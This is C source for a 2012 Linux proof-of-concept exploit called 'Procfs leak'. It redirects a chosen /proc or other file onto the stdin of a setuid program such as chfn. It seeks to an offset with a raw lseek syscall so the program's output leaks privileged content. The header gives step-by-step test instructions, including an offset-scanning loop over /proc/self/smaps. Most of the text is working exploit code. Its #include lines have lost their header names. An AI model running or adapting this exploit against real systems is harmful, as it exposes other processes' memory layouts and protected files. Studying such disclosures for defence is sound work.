/* * Procfs leak * Author: Djalal Harouni tixxdz opendz.org * License: GPLv2 * * Note: * Running a setuid program that reads data from a user controled * fd (open(),dup()...) and prints it to a file/terminal readable by * the user can lead to information leakage. * * * Can leak arbitrary files if you find your setuid winner or just * play with /proc/self/ ... * * * To test 'chfn' * 1) set your user password to (without quotes): * "Locked: 0 kB" * * 2) Run this on x86_64 (we use the 'chfn' for a quick test): * $ for i in $(seq 460 480); \ * do ./procfs_leak /usr/bin/chfn /proc/self/smaps $i; \ * done * * If it did not work then just adjust the offset or ... ? * * For testing only. * * 02-02-2012 */ #define _LARGEFILE64_SOURCE #define _GNU_SOURCE #include #include #include #include #include #include #include #include #define SYS_lseek 8 /* keep in mind that procfs lseek() checks ptrace_may_access() */ loff_t kernel_lseek(int fd, loff_t offset) { return syscall(SYS_lseek, fd, offset, SEEK_SET); } int leak(char *prog, char *file, loff_t offset) { int ret; int fd_leak; char *argv[] = {prog, NULL}; ret = -1; fd_leak = open(file, O_RDONLY); if (fd_leak == -1) { perror("open"); return ret; } if (dup2(fd_leak, STDIN_FILENO) == -1) { perror("dup2"); return ret; } if (offset > 0) { /* Can fail on arbitrary files due to the * ptrace_may_access() check */ if (kernel_lseek(STDIN_FILENO, offset) < 0) { perror("lseek"); return ret; } } sleep(1); execv(argv[0], argv); perror("execv"); return ret; } int main(int argc, char **argv) { char *program = NULL; char *proc_file = NULL; loff_t offset = 0; if (argc < 3) { printf("%s \n" " : path of a setuid program.\n" " : file to read.\n" " : Offset.\n", argv[0]); return 0; } else if (argc == 4) { offset = (loff_t) strtol(argv[3], NULL, 0); } program = argv[1]; proc_file = argv[2]; return leak(program, proc_file, offset); }